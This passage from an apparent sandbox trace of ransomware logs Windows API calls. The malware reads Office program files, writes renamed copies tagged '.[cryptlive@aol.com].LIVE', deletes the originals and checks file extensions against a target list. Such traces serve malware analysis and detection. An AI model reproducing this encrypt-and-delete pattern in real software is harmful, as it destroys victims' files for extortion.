Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0146.662] GetLastError () returned 0x0 [0146.662] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xd6cc6, lpOverlapped=0x0) returned 1 [0146.707] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xd6cd0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xd6cd0, lpOverlapped=0x0) returned 1 [0147.012] ReadFile (in: hFile=0x3dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.012] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0147.012] SetEndOfFile (hFile=0x3d4) returned 1 [0147.012] CloseHandle (hObject=0x3d4) returned 1 [0147.012] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.012] SetEndOfFile (hFile=0x3dc) returned 1 [0147.031] CloseHandle (hObject=0x3dc) returned 1 [0147.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 1 [0147.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.284] lstrlenW (lpString=".doc") returned 4 [0147.284] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0147.284] lstrlenW (lpString=".docx") returned 5 [0147.284] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0147.284] lstrlenW (lpString=".pdf") returned 4 [0147.284] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0147.284] lstrlenW (lpString=".xls") returned 4 [0147.284] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0147.284] lstrlenW (lpString=".xlsx") returned 5 [0147.285] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0147.285] lstrlenW (lpString=".ppt") returned 4 [0147.285] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0147.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.285] lstrlenW (lpString=".zip") returned 4 [0147.285] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0147.285] lstrlenW (lpString=".rar") returned 4 [0147.285] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0147.285] lstrlenW (lpString=".bz2") returned 4 [0147.285] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0147.285] lstrlenW (lpString=".7z") returned 3 [0147.285] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0147.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.285] lstrlenW (lpString=".dbf") returned 4 [0147.285] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0147.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.285] lstrlenW (lpString=".1cd") returned 4 [0147.285] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0147.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.285] lstrlenW (lpString=".jpg") returned 4 [0147.285] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0147.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.285] lstrlenW (lpString=".doc") returned 4 [0147.285] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0147.285] lstrlenW (lpString=".docx") returned 5 [0147.285] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0147.285] lstrlenW (lpString=".pdf") returned 4 [0147.285] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0147.285] lstrlenW (lpString=".xls") returned 4 [0147.285] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0147.285] lstrlenW (lpString=".xlsx") returned 5 [0147.285] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0147.285] lstrlenW (lpString=".ppt") returned 4 [0147.285] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0147.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.286] lstrlenW (lpString=".zip") returned 4 [0147.286] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0147.286] lstrlenW (lpString=".rar") returned 4 [0147.286] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0147.286] lstrlenW (lpString=".bz2") returned 4 [0147.286] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0147.286] lstrlenW (lpString=".7z") returned 3 [0147.286] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0147.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.286] lstrlenW (lpString=".dbf") returned 4 [0147.286] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0147.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.286] lstrlenW (lpString=".1cd") returned 4 [0147.286] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0147.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68 [0147.286] lstrlenW (lpString=".jpg") returned 4 [0147.286] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0147.286] lstrcmpiW (lpString1=".vsdir", lpString2=".LIVE") returned 1 [0147.286] lstrlenW (lpString="Visfilem.vsdir") returned 14 [0147.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.296] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=153) returned 1 [0147.296] CloseHandle (hObject=0x36c) returned 1 [0147.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 0x20 [0147.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.302] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.302] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0147.414] GetLastError () returned 0x0 [0147.414] ReadFile (in: hFile=0x36c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x99, lpOverlapped=0x0) returned 1 [0147.415] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0147.416] ReadFile (in: hFile=0x36c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.416] WriteFile (in: hFile=0x380, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0147.416] SetEndOfFile (hFile=0x380) returned 1 [0147.416] CloseHandle (hObject=0x380) returned 1 [0147.416] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.417] SetEndOfFile (hFile=0x36c) returned 1 [0147.419] CloseHandle (hObject=0x36c) returned 1 [0147.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir")) returned 1 [0147.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.595] lstrlenW (lpString=".doc") returned 4 [0147.595] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0147.595] lstrlenW (lpString=".docx") returned 5 [0147.595] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0147.595] lstrlenW (lpString=".pdf") returned 4 [0147.595] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0147.595] lstrlenW (lpString=".xls") returned 4 [0147.596] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString=".xlsx") returned 5 [0147.596] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0147.596] lstrlenW (lpString=".ppt") returned 4 [0147.596] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.596] lstrlenW (lpString=".zip") returned 4 [0147.596] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString=".rar") returned 4 [0147.596] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString=".bz2") returned 4 [0147.596] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString=".7z") returned 3 [0147.596] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0147.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.596] lstrlenW (lpString=".dbf") returned 4 [0147.596] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.596] lstrlenW (lpString=".1cd") returned 4 [0147.596] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.596] lstrlenW (lpString=".jpg") returned 4 [0147.596] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.596] lstrlenW (lpString=".doc") returned 4 [0147.596] lstrcmpiW (lpString1=".doc", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString=".docx") returned 5 [0147.596] lstrcmpiW (lpString1=".docx", lpString2="vsdir") returned -1 [0147.596] lstrlenW (lpString=".pdf") returned 4 [0147.596] lstrcmpiW (lpString1=".pdf", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString=".xls") returned 4 [0147.596] lstrcmpiW (lpString1=".xls", lpString2="sdir") returned -1 [0147.596] lstrlenW (lpString=".xlsx") returned 5 [0147.596] lstrcmpiW (lpString1=".xlsx", lpString2="vsdir") returned -1 [0147.597] lstrlenW (lpString=".ppt") returned 4 [0147.597] lstrcmpiW (lpString1=".ppt", lpString2="sdir") returned -1 [0147.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.597] lstrlenW (lpString=".zip") returned 4 [0147.597] lstrcmpiW (lpString1=".zip", lpString2="sdir") returned -1 [0147.597] lstrlenW (lpString=".rar") returned 4 [0147.597] lstrcmpiW (lpString1=".rar", lpString2="sdir") returned -1 [0147.597] lstrlenW (lpString=".bz2") returned 4 [0147.597] lstrcmpiW (lpString1=".bz2", lpString2="sdir") returned -1 [0147.597] lstrlenW (lpString=".7z") returned 3 [0147.597] lstrcmpiW (lpString1=".7z", lpString2="dir") returned -1 [0147.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.597] lstrlenW (lpString=".dbf") returned 4 [0147.597] lstrcmpiW (lpString1=".dbf", lpString2="sdir") returned -1 [0147.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.597] lstrlenW (lpString=".1cd") returned 4 [0147.597] lstrcmpiW (lpString1=".1cd", lpString2="sdir") returned -1 [0147.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir") returned 68 [0147.597] lstrlenW (lpString=".jpg") returned 4 [0147.597] lstrcmpiW (lpString1=".jpg", lpString2="sdir") returned -1 [0147.597] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0147.597] lstrlenW (lpString="WINPROJ_K_COL.HXK") returned 17 [0147.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0147.614] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=113) returned 1 [0147.614] CloseHandle (hObject=0x3d8) returned 1 [0147.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 0x20 [0147.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0147.615] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.615] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0147.615] GetLastError () returned 0x0 [0147.615] ReadFile (in: hFile=0x3d8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x71, lpOverlapped=0x0) returned 1 [0147.616] WriteFile (in: hFile=0x3a4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x80, lpOverlapped=0x0) returned 1 [0147.617] ReadFile (in: hFile=0x3d8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.617] WriteFile (in: hFile=0x3a4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0147.617] SetEndOfFile (hFile=0x3a4) returned 1 [0147.618] CloseHandle (hObject=0x3a4) returned 1 [0147.618] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.618] SetEndOfFile (hFile=0x3d8) returned 1 [0147.620] CloseHandle (hObject=0x3d8) returned 1 [0147.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_k_col.hxk")) returned 1 [0147.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.621] lstrlenW (lpString=".doc") returned 4 [0147.621] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.621] lstrlenW (lpString=".docx") returned 5 [0147.621] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.621] lstrlenW (lpString=".pdf") returned 4 [0147.621] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.621] lstrlenW (lpString=".xls") returned 4 [0147.621] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.621] lstrlenW (lpString=".xlsx") returned 5 [0147.621] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.622] lstrlenW (lpString=".ppt") returned 4 [0147.622] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.622] lstrlenW (lpString=".zip") returned 4 [0147.622] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.622] lstrlenW (lpString=".rar") returned 4 [0147.622] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.622] lstrlenW (lpString=".bz2") returned 4 [0147.622] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.622] lstrlenW (lpString=".7z") returned 3 [0147.622] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.622] lstrlenW (lpString=".dbf") returned 4 [0147.622] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.622] lstrlenW (lpString=".1cd") returned 4 [0147.622] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.622] lstrlenW (lpString=".jpg") returned 4 [0147.622] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.622] lstrlenW (lpString=".doc") returned 4 [0147.622] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0147.622] lstrlenW (lpString=".docx") returned 5 [0147.622] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0147.622] lstrlenW (lpString=".pdf") returned 4 [0147.622] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0147.622] lstrlenW (lpString=".xls") returned 4 [0147.622] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0147.622] lstrlenW (lpString=".xlsx") returned 5 [0147.622] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0147.622] lstrlenW (lpString=".ppt") returned 4 [0147.622] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0147.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.623] lstrlenW (lpString=".zip") returned 4 [0147.623] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0147.623] lstrlenW (lpString=".rar") returned 4 [0147.623] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0147.623] lstrlenW (lpString=".bz2") returned 4 [0147.623] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0147.623] lstrlenW (lpString=".7z") returned 3 [0147.623] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.623] lstrlenW (lpString=".dbf") returned 4 [0147.623] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.623] lstrlenW (lpString=".1cd") returned 4 [0147.623] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0147.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_K_COL.HXK") returned 65 [0147.623] lstrlenW (lpString=".jpg") returned 4 [0147.623] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0147.623] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0147.623] lstrlenW (lpString="WINSCHD.VRD") returned 11 [0147.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.648] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=1544) returned 1 [0147.648] CloseHandle (hObject=0x1ec) returned 1 [0147.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd")) returned 0x20 [0147.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.035] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.035] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINSCHD.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winschd.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0148.036] GetLastError () returned 0x0 [0148.036] ReadFile (in: hFile=0x388, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x608, lpOverlapped=0x0) returned 1 [0148.051] WriteFile (in: hFile=0x3c8, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x610, 